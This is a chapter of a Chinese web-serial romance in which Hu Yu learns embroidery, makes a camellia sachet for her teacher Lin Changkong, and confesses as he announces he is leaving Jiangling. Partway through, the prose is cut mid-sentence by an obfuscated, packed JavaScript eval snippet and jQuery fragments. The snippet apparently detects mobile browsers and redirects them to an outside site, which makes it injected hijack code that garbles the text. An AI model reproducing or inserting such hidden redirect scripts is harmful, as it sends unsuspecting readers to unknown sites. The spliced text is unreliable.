她喜欢林长空。
这是胡瑜回到江陵城一年来最终得出的结论。
胡瑜的面前摆放着一个黑色棋盘,上面黑白棋子错落,已经了下了一半,她手托着腮撑在桌面上,另一只手中执着一颗白棋,脸上苦恼,看似实在冥思苦想,实则目光悄悄落在了面前的林长空身上。
这段时间林长空着重教她下棋,胡瑜悟性也高,一点就通,两个月的时间已经是小有成就,只不过她还是下不过林长空,每每和他对上都是输的惨不忍睹。
这下胡瑜可就来劲了,越是输的难看越是来劲,这几天一有时间就缠着林长空下棋,最后招的林长空都有些烦了,胡瑜只好用东西巴结他,将身上的玉佩耳环首饰值钱的东西全部拿出来,输一局她给一样,最后的结果可想而知,全身首饰输了个精光也没有从他手中赢下一局。
胡瑜越挫越勇,绝不认输,最后身上实在没有值钱的东西,叫嚷着要回家拿,林长空并不言语,只一扇子敲在了胡瑜脑袋上。
这一下并不疼,林长空收了力气,但胡瑜还是觉得生气,猛然间抬头想要怒瞪却只看见林长空含笑的眼眸。
他轻挥着着折扇,细风吹动着他鬓角的碎发,整个人清疏沉稳了许多,一年前眉眼处还会带着几分稚气,现在彻底消失不见。
他不笑得时候凤眼凌厉,里面的寒意简直要冻伤人心,可笑起来又像是春暖花开,万物消融,多了几分暖意。
“赌上了瘾了,小心输的倾家荡产。”几近温柔的嗓音就在自己耳边,胡瑜心跳如雷,她想要尽力忽视自己的异常。
而另一边的林长空手指飞快在棋盘上掠过,黑白棋子落在不同的位置,他给胡瑜出了一道题,让她解出来才能继续找自己下。
林长空放下折扇,执着书走到了凉亭边的竹塌上,眼眸低垂,手指翻动,显然已经看书入迷。
胡瑜只好认命地拿着棋子吓了起来,才过小半个时辰的功夫她就神思不属了,目光有意无意地落在了林长空的身上,秀眉微微蹙起,眼中的烦恼一闪而过。
一年前她回到江陵,胡婵先是抱着她哭了一顿,不停向她道歉,胡瑜也没有真的怪她的意思,气过了以后早就不放在心上了,往后一年的时间中仿佛回到了以前,就好像什么事情都没有发生过一样。
这一年中,胡褚回了将领城三次,并在将军府呆的时间并不短,但胡瑜一次都没有见他,只要他一回来,保管住在书院中,三番两次下来,胡褚也拉不下面子,最近几个月都没有回来。
胡瑜也算是过上了一段舒心日子。
天色渐晚,远处的红霞氤氲了大片苍穹,红色的霞光倾泻而下,林长空白色长袍仿佛披上了一层红纱。
胡瑜还是没有解开棋局,但今日天色已晚,就让书院中的小厮不要动她的棋盘,等明日她继续解棋盘。
“长空先生,我先走了。”
胡瑜挥手告别,林长空依旧是忘我看书,入迷非常,听到胡瑜的话也只是不咸不淡地嗯了一声。
直到胡瑜的身影消失在林长空视线之中,他才不紧不慢抬头,放下手中并未翻动地书籍,目光落在胡瑜走远的背影,直到彻底消失不见才缓缓起身,将身旁从胡瑜那赢来的一堆小饰品放在了木雕盒子中,转而离开了凉亭,回到了自己的青竹轩。
胡瑜回家的时候胡婵就已经在将军府的大门外翘首以盼等着她,一见到她就连忙拉着她的手往家走,回到膳厅的时候已经摆满了一大桌胡瑜喜欢吃的美食,大部分还都是胡婵亲自下的厨。
吃完晚饭以后已经是暮色四合,不见一点天光,胡瑜这几天都在找林长空下棋,都没有时间陪胡婵,所以她理所当然留在了胡婵的院子中歇下。
她在院子中练剑,胡婵就带着几名丫鬟在回廊下刺绣,夜凉如水,虫鸣不断,气氛和洽,到最后胡瑜也被那些花花绿绿的针线所吸引,第一次扔掉朝歌剑,转而拿起了绣花针。
胡瑜从来没有接触过针线,可她身边所有女子都会这一项技能,就连她院中一位十三岁的小丫鬟也能将一块花纹刺得栩栩如生。
她一向要强,事事都只想着做到最好,刺绣当然也不例外,虽然针扎的满手都是血,绣花奇丑无比,但还是耐心地和胡婵学了起来,绣到半夜才绣完了一块手帕。
胡瑜满意地从绣绷上拿下来,对着烛火细细观赏,虽然不如胡婵翎羽的花纹精致,但好歹是绣完了,完成度还挺高的,胡瑜还算满意,转头正想找胡婵夸奖,没想到却瞥见了翎羽羞红的脸颊。
她瞬觉惊奇,翎羽捧着一个香囊,满脸羞涩,就像是情窦初开的小姑娘。
胡瑜心中起了揶揄的恶趣味,悄无声息走到了翎羽身后,趁她不备抢走了她的香囊。
被她抢走香囊的翎羽就像是被踩了尾巴的猫,一下就跳了起来,追着胡瑜不断求饶,试图让她还给自己。
胡瑜一边逃一边观察着这个香囊。
香囊上面绣着的是鸳鸯戏水,背后还精心绣着一个字。
峰。
胡瑜疯狂在脑海中搜寻自己身边有没有一个名字中带峰的人,最后结果依然一无所获。
后面的翎羽快追了上来,胡瑜三两步飞了起来,落到了一处不高的屋檐上,含笑地看着身后追来且气喘吁吁的翎羽。
“好了,这里没有外人,这个香囊是要给谁啊?”
被胡瑜发现心中密事,翎羽下意识脸颊一红,但她知道瞒不过胡瑜,于是坦白道:“是书院中的一个书生,他经常同小姐一起听课,不过他家境不太好,只能在一边旁听。”
听她这么说,胡瑜脑海中可算是有几分印象,这个人叫林峰,长得虽然普通,但胜在干净,富有书卷气。
翎羽虽然年纪比她小,但也就小几个月,今年她已经十五了,在这个世界中已经到了可以成亲的年纪了。
胡瑜虽然在这个世界中生活多年,但骨子里还是现代人的观念,实在难以接受翎羽这么小的年纪就成亲。
不过她也不会盲目阻拦,先听听翎羽的想法,若是两人真的情投意合,先定亲,再过几年成亲也行,反正有她在,保护她一辈子也算不了什么。
她从屋檐上直直跳了下来,这屋檐高度可不低,翎羽险些吓了一跳。
胡瑜平稳落地,在翎羽目瞪口呆的眼神中将香囊还给了她,笑道:“你家小姐厉害无比,不会出事的。”
翎羽紧紧攥着香囊,看起来才松了一口气。
虽然香囊还给了翎羽,但胡瑜心中又有了别的心思,她看似无意地问道:“为什么要送香囊给心上人,这是有什么寓意吗?”
翎羽还没有过害羞的那一股劲,双颊绯红:“小姐你不知道吗,在江陵城中,若是女子有心上人便会亲自做一个香囊,等到乞巧佳节那日送给心上人,若是心上人也喜欢你便会手下香囊,若是不会便会拒绝。”
胡瑜皱了皱眉,原来还有这个习俗。
不由自主的,胡瑜想到了林长空,既然明白自己对林长空有意,那么自己就会直球出击。
寡了这么多年,好不容易有一个喜欢的,胡瑜当然要主动出击。
她决定了,她也要做一个香囊给林长空,等到乞巧那日送给他,顺便表明自己的心意。
若是他同意,两个人理所当然地在一起,若是他不同意……
想到后面这个可能,胡瑜眉头一皱,由不得他不同意,就是强扭的瓜她也要吃。
胡瑜走到了翎羽面前,笑道:“香囊怎么做,教我。”
翎羽震惊:“啊,小姐,你也要做香囊啊。”
她可不会觉得胡瑜做了香囊是想送给哪一位情郎,在她心中胡瑜就是千好万好,世间的男子都配不上她,听她想做香囊也只是以为胡瑜一时兴起罢了。
想清楚以后胡瑜连夜跑回了自己的院子,拿着绣绷与针在卧房中钻研,可等到下手的时候却愣住了。
绣什么花纹呢。
她也想和翎羽一样绣鸳鸯表琴瑟和谐,终成眷属,可鸳鸯太难了,绣了好几个都像是水里游着的野鸭,和鸳鸯是一点都沾不上边。
况且人人都绣鸳鸯,岂不是香囊的款式最后都烂大街了,她不要,她要做就做一个独一无二的。
她苦恼地托腮,忽而看到了院外盛开正盛的红山茶,朵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551795|203135||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朵娇艳动人,绚烂夺目。
现世中红山茶的花语是炽热的爱,这个世界的人定然不知道,若是她真将香囊送给林长空,林长空若是对她无意,她还有借口找补。
胡瑜决定了,就绣红山茶。
香囊并不难做,翎羽还有胡婵两天就能做一个,可胡瑜的锈技实在是一般,接连做了四五个都难看的很,直到做到第八个时才总算是合格。
看着自己满是针眼的手,胡瑜微微一笑,将香囊放在身上,静候乞巧那一天来临。
林长空正在前面讲课,可胡瑜的心思全都在自己怀中的香囊之上,她就像是天底下一样情窦初开的小女生,苦恼自己的心上人是否和自己是一样的心意。
见她出神,林长空微微皱了眉,走到了胡瑜身边,轻轻敲响她的书案警告,胡瑜这才回神,心中尴尬。
这一天的胡瑜心思都没有在读书上,不出意料的胡瑜被留堂了,不过不是林长空,而是另一位年纪更大,声望很高的夫子。
他罚胡瑜抄写《道德经》五遍,不写完不许回家,抄完还要给他检查。
看到那一页页密密麻麻的字,胡瑜脑袋大的要命。
她晕字啊。
这夫子平日中不苟言笑,最喜欢严肃地板着脸,胡瑜有几分怕他,不敢投机取巧,只好老老实实地誊写。
写到第二遍的时候天色已经完全黑了,书院里寂静无声,大家甚至都回屋睡觉了,只有胡瑜还在学堂苦命抄写,而夫子就在不远处亲自盯着她,让胡瑜没有一点办法。
身边的窗扉被人敲响,胡瑜转头,就见林长空推开一扇窗扉,俊美绝色的脸出现在了她的眼前,胡瑜又惊又喜,林长空将食指放在薄唇上,轻轻一嘘。
胡瑜瞬间明白,转头看了眼夫子,他摇摇欲睡,并未关注胡瑜这边。
林长空将抄写好的五份《道德经》递给了胡瑜,淡声道:“给他以后就早些回家。”
说完他也不等胡瑜说话,转身就走就走,胡瑜立马起身,捧着那五份《道德经》到了夫子面前,见他还在小憩,胡瑜心情不爽地喊道:“夫子,我抄写完了。”
她的声音很大,吓得夫子险些从摇椅上摔下,揉了揉眼睛,看着胡瑜递过来的《道德经》困惑道:“这么快?我还以为你要抄到明日。”
他随手接过仔细翻阅起来,字迹工整清秀,与平日胡瑜潦草功课有了鲜明对比,但还是能从细节处看出是胡瑜一笔一划写的。
夫子满意地摸了摸胡子,以平常的口吻说道:“你看你,还是能好好写字的,平日里写的这么潦草是在敷衍谁……”
他一但教训起人来,没有两炷香的功夫是停不下来,胡瑜站不住了,连东西都还没收拾就往外边跑,边跑还不忘边给夫子解释:“夫子,我姐姐还在家等我,我先走啦。”
说罢也不管夫子气跳脚的模样,快步追上了林长空。
“长空先生!长空先生!”短短的一段路,胡瑜为了追上他肺都要炸了。
林长空转头,在一片月色下静静地看着她,眼神平淡如流水,但胡瑜总能从他冰冷的腹凤眸中捕捉几缕温柔。
她的心脏在跳,连带着她全身都燥热起来,胡瑜能感觉到,林长空对她也不是落花有意流水无情。
所以,她不想等了,她等不到乞巧,她现在就想要告诉林长空自己的心意。
胡瑜站直身体,手中紧紧攥着那一个香囊,一步又一步,谨慎而又慎小心地走到了林长空面前。
她心中想要说的每一句话都是胡瑜慎重考虑默默说过千百遍的。
可是直到临要脱口时,才发现以往那些想要说的话全部忘光,只剩下大脑一片空白。
她的双颊绯红,胸脯小幅度起伏着,手心出了一层薄薄的汗,这些都昭示着胡瑜内心中的紧张。
“长空先生,我……我有话和你说。”
林长空微微皱了皱眉,神情像是带着几分不耐,他的目光落在了胡瑜的手中,意识到胡瑜想要说什么,他一顿,没等胡瑜开口,自顾自说道。
“过段日子,我就要离开江陵。”
“我喜欢你。”